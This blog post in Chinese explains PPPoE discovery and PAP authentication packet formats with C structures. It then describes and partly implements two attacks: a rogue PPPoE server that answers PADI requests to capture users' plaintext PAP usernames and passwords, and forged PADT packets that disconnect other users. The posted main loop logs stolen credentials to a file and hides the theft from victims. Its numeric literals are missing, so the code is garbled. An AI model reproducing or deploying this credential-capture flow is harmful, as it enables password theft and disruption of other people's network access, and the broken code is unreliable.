楼主学生党一枚,最近研究netkeeper有些许心得。

关于netkeeper是调用windows的rasdial来进行上网的东西,网上已经有一大堆,我就不赘述了。

本文主要讲解rasdial的部分核心过程,以及我们可以利用它来干些什么。

netkeeper中rasdial是通过PPPOE来进行用户认证并提供上网的。

PPPOE分为两个阶段PPPOED(即发现阶段)PPPOES(会话阶段)

关于PPPOED部分,维基上有很详细的介绍 。给个链接 https://en.wikipedia.org/wiki/Point-to-point_protocol_over_Ethernet

我只简略的说一下,可以分为以下四个部分:

PPPOED的协议格式:数字代表字节数。

|    6       |        6       |    2    |  链路层

dstmac     srcmac      proctol   很简单,不多说

|  1              |         1      |    2             |        2              | PPPOED头

ver_type           code        session id      payload len

固定为0x11   行为代码     会话id         后续报文的长度

|      payload len |  PPPOED tags。 这个不好说,可以去wiki看看。

  1. // proctol 注意字节序的问题
    #define PPPOED  0x8863
    #define PPPOES  0x8864
    //PPPOED code
    #define PPPOED_PADI 0x09
  2. #define PPPOED_PADO 0x07
  3. #define PPPOED_PADR 0x19
  4. #define PPPOED_PADS 0x65
  5. #define PPPOED_SESSION 0x00
  6. #define PPPOED_PADT 0xa7
    struct PPPOE_hdr
    {
        char dst[6];
        char src[6];
        char proctol[2];
        char ver_type;
        char code;
        char sid[2];
        char len[2];
    };
    struct PPPOE_tag
    {
        char name[2];
        char len[2];
        char *value;
    };

PADI:由client发送。(PPPOED tags 貌似必须要有host-uniq属性),就是广播说我想上网,谁能给我提供这个服务。

PADO:由server发送。(PPPOED tags必须要有AC-name属性,而且要有client发的PADI里的host-uniq属性。)就是服务器说我可以给你下这个服务。

PADR:client发送。(要有host-uniq)client向server请求上网服务,当接收到多个server的PADO时,一般向第一个收到的server请求服务。

PADS:server发送。(要有PADR的host-uniq,且需设置session id)之后开始服务。

PPPOES:我重点要讲的部分,在网上搜了很久的资料也没搜到啥,自己总结一下,方便他人。

PPP  LCP协议格式:  PPPOES支持的协议太多,而我们需要研究的只有LCP,所以只讲LCP。前面与PPPOED相同.

|    6       |        6       |    2    |  链路层

dstmac     srcmac      proctol   很简单,不多说

|  1              |         1      |    2             |        2              | PPPOED头

ver_type           code        session id      payload len

固定为0x11   行为代码     会话id         后续报文的长度

|        2        |  ppp proctol type

|   1                    |       1        |       2       | LCP header

code                        id             len

LCP行为代码       验证id       len指LCP header与后续报文的长度,与PPPOED不同  即 len = 4 + 后续报文长度

|   len        | LCP opts

  1. //PPPOES proctol
  2. #define PPP_LCP 0xc021
  3. #define PPP_PAP 0xc023
  4. //LCP code
  5. #define LCP_REQUEST 0x01
  6. #define LCP_ACK 0x02
  7. #define LCP_NAK 0x03
  8. #define LCP_REJECT 0x04
  9. #define LCP_TERMINATIN_REQUEST 0x05
  10. #define LCP_TERMINATION_ACK 0x06
    #define LCP_IDENTIFICATION 0x0c
  11.  
  12. // PAP code
  13. #define PAP_REQUEST 0x01
  14. #define PAP_ACK 0x02
    struct LCP_hdr
    {
        struct PPPOE_hdr pppoe;
        char proctol[2];
        char code;
        char id;
        char len[2];
        char padding[2];//填充,字节对齐。
    };
    struct LCP_opt
    {
        char name;
        char len;
        char* value;
    };
  15.  

下面给个例子

讲完协议基础,就将PPPOES具体发生了什么。楼主只研究过PAP,所以下面讲PAP

1. client向server发送LCP request,请求配置(例如MTU之类的)

2.server向client发送LCP ack或LCP reject(若发的是reject,client需要根据reject再发一份request直到server ack)。

3.server向client发LCP request,LCP request中包含用户认证的方式CHAP 或 PAP。

4.client发LCP ack

5.client准备开始发送用户名和密码。发送3个LCP identification。

6.client开始发送用户名和密码。发送PAP报文。

7.server对用户名和密码进行认证,若通过则通过IPCP进行ip配置。错误则无法上网。

下面给一个PAP报文的例子,与LCP很相似。

上述总结一个图

ps:楼主字丑勿喷。

应用:

1.根据上面所讲的过程可知,我们可以在别人拨号上网发PADI的时候,发一个PADO伪装成server,一般而言,只要client先接收到的是我们的PADO,我们就可以获取到用户名和密码,窃取到密码以后我们就发送一个LCP termination request和PPPOED PADT,在把用户的MAC加入窃取到的MAC表中,对于窃取到的就不再进行拦截。

这样真正的用户在登录时只会出现一次登录失败,之后正常,用户也不会认为出了什么问题。

2.我们自己发PADI获取当前网段中的PPPOE服务器的mac,再将自己的mac伪装成服务器的,穷举session id 发送PADT给正在正常上网的用户就可以让他断网。

应用1楼主已经实现了,2没做。源码就不发了,防止有人搞破坏。

下面只贴出流程代码

  1. int main()
  2. {
  3. int sock,recv_bytes,i = ;
  4. struct Mac src;
  5. struct Mac self = getLocalMac("eth0");
  6. char buf[] = {};
  7. FILE * fpout;
  8. std::vector<struct PPPOE_tag*> tags;
  9. std::vector<struct LCP_opt*> opts;
  10. std::vector<struct Mac*> macMap;
  11. sock = socket(AF_PACKET,SOCK_RAW,htons(ETH_P_ALL));
  12. fpout = fopen("./password.txt","w");
  13. if (sock == -)
  14. {
  15. perror("socket");
  16. exit();
  17. }
  18. while()
  19. {
  20. i = ;
  21. recv_bytes = recv(sock,buf,,);
  22. src = getSrcMac(buf);
  23. if (isMacInMap(&src,macMap))
  24. continue;
  25. if( PPPOED == getProctol(buf))
  26. {
  27. unsigned code;
  28. PPPOE_HeaderReader pppoe(buf,recv_bytes);
  29. pppoe.getPPPOED_tags(tags);
  30. code = pppoe.getCode();
  31. if (code == PPPOED_PADI)
  32. sendPADO(sock,src,tags);
  33. else if (code == PPPOED_PADR)
  34. sendPADS(sock,src,tags);
  35. else if (code == PPPOED_PADT)
  36. sendPADT(sock,src,tags,pppoe.getSessionId());
  37. release(tags);
  38. }
  39. if(PPPOES == getProctol(buf))
  40. {
  41. PPPOE_HeaderReader pppoe(buf,recv_bytes);
  42. switch (getPPP_type(buf))
  43. {
  44. case PPP_LCP:
  45. pppoe.getLCP_opts();
  46. if(buf[] == LCP_REQUEST)
  47. {
  48. HeaderBuilder builder;
  49. memcpy(buf,src.mac,);
  50. memcpy(buf + ,self.mac,);
  51. buf[] = LCP_ACK;
  52. sendEth(sock,buf,recv_bytes);
  53. buf[] = LCP_REQUEST;
  54. buf[] = + sizeof (lcp_request);
  55. builder.addHeader(buf,);
  56. builder.addHeader(lcp_request,sizeof (lcp_request));
  57. sendEth(sock,builder.head(),builder.getsize());
  58. }
  59. else if (buf[] == LCP_TERMINATIN_REQUEST)
  60. {
  61. HeaderBuilder builder;
  62. memcpy(buf,src.mac,);
  63. memcpy(buf + ,self.mac,);
  64. buf[] = LCP_ACK;
  65. sendEth(sock,buf,recv_bytes);
  66. }
  67. break;
  68. case PPP_PAP:
  69. struct Mac * tmpmac = malloc(sizeof (struct Mac));
  70. memcpy(tmpmac,&src,sizeof(struct Mac));
  71. macMap.push_back(tmpmac);
  72. recordPassword(fpout,buf);
  73. sendPADT(sock,src,tags,pppoe.getSessionId());
  74.  
  75. break;
  76. }
  77. release(opts);
  78. }
  79. }
  80. close(sock);
  81. release(macMap);
  82. fclose(fpout);
  83. return ;
  84. }

PPPOE拨号上网流程及密码窃取具体实现的更多相关文章

  1. android移植pppoe拨号上网的全过程

    硬件环境:Tiny6410开发板 软件环境:fedora14 + Android 2.3.4 + linux-2.6.36 所需资源:rp-pppoe-3.11.tar.gz http://www.r ...

  2. MikroTik RouterOS安装后初始化配置(PPPOE拨号上网)

    1.修改登入密码 路由器默认登入账号为admin,密码为空,强烈建议修改登入密码保证安全: 2.修改接口名称 选择Interface,切换到Ethernet标签,找到状态是R(run)的两个端口. 给 ...

  3. Ubuntu pppoe 拨号上网

    -------------蓝色是终端里面的连接方式,可以不看--------------------- ADSL上网,Ubuntu下是可以的,虽然以前没用过拨号上网,不过查了查也不是很麻烦. 打开终端 ...

  4. Ubuntu下的 PPPoE 拨号上网方法

    1. 配置 pppoe $ sudo pppoeconf 2. 联网 $ sudo pon dsl-provider 3. 断网 $ sudo poff 4. 查看日志 $ plog 5. 查看接口信 ...

  5. Ubuntu PPPoE拨号上网指定网卡

    Just follow these steps: Check that the ethernet cable is properly connected Open Terminal Run sudo ...

  6. 华为AR路由器AR207-S配置pppoe拨号上网图解实例

  7. CentOS 7拨号上网(ADSL & PPPoE)

    步骤概述: 1.搜寻PPPoE相关软件,本人使用的是rp-pppoe yum search pppoe 2.使用yum安装rp-pppoe yum install rp-pppoe -y 3.开始配置 ...

  8. 动态ip、静态ip、pppoe拨号的区别

    pppoe拨号 pppoe拨号上网,又叫做ADSL拨号上网.宽带拨号上网.指现在有很多我的E家用户,送的无线猫,阉割了PPPOE拨号功能,必须要从电脑上拨号才能上网.还有大街上的WIFI热点也很多,如 ...

  9. Ubuntu 12.04 pppoe拨号问题

    我的系统信息: Ubuntu 12.04.4 X64 Q001: 我学校需要使用pppoe拨号上网.我在宿舍架了个路由,可以使用无线连接拨号上网,也可以使用网线连接.在ubuntu下,使用无线连接时没 ...

随机推荐

  1. 关于火狐浏览器在开发调试过程中,出现javascript:void(0)的状态

    关于火狐浏览器在开发调试过程中,出现javascript:void(0)的状态 由于火狐浏览器没有安装 Adobe Flash Player 19 NPAPI这个插件 安装好了之后就可以直接运行了

  2. iOS之ViewController的多层presentViewController的dismiss问题

    今天在Q群里有人问了个这么个问题: A,B,C,D 都是Viewcontroller.A.B.C.D使用present去切的 他是这么搞的: A -> B, B ->C, C->D, ...

  3. Java基础笔记8

    Object类 Object类是所有类的父类. 如果某个类没有显示的继承某个父类,那么该类则继承Object. 类 Object 是类层次结构的根类.每个类都使用 Object 作为超类. 所有对象( ...

  4. 最新版multer1.3.0上传文件

    完整项目资源下载路径:http://download.csdn.net/detail/qq_28506819/9851744 使用方法: cd到跟目录,然后npm install. 运行项目,npm ...

  5. python抽象篇:面向对象

    1.面向对象概述 面向过程编程:根据操作数据的函数或语句块来设计程序的. 函数式编程:将某功能代码封装到函数中,日后便无需重复编写,仅调用函数即可 面向对象编程:数据和功能结合起来,用称为对象的东西包 ...

  6. THE MATRIX PROBLEM

    THE MATRIX PROBLEM Time Limit: 4000/2000 MS (Java/Others) Memory Limit: 32768/32768 K (Java/Others) ...

  7. css之定位(position)

    1.什么是定位: css中的position属性,position有四个值:absolute/relative/fixed/static(绝对/相对/固定/静态(默认))通过定位属性可以设置一些不规则 ...

  8. cocos2d导入iOS原生项目

    最近公司最新发下任务让融合一个cocos2dx写的游戏项目融合进现有项目,当看到要求时内心瞬间无数羊驼奔腾.------ 虽说内心是拒绝的,但是任务已经派发就必须要完成啊.所以在网上搜了大量的融入教程 ...

  9. Windows系统安装MySQL

    在Windows中安装mysql不够幸运的话,会遇到相当多的坑,当然这也算是一种财富吧,让自己碰到问题去查找解决方案.有时候不是一时半会就可以解决的.有同学说过安装mysql安装两天还没有装上.不用担 ...

  10. Asp.Net MVC 使用 Ajax

    Asp.Net MVC 使用 Ajax Ajax 简单来说Ajax是一个无需重新加载整个网页的情况下,可以更新局部页面或数据的技术(异步的发送接收数据,不会干扰当前页面). Ajax工作原理 Ajax ...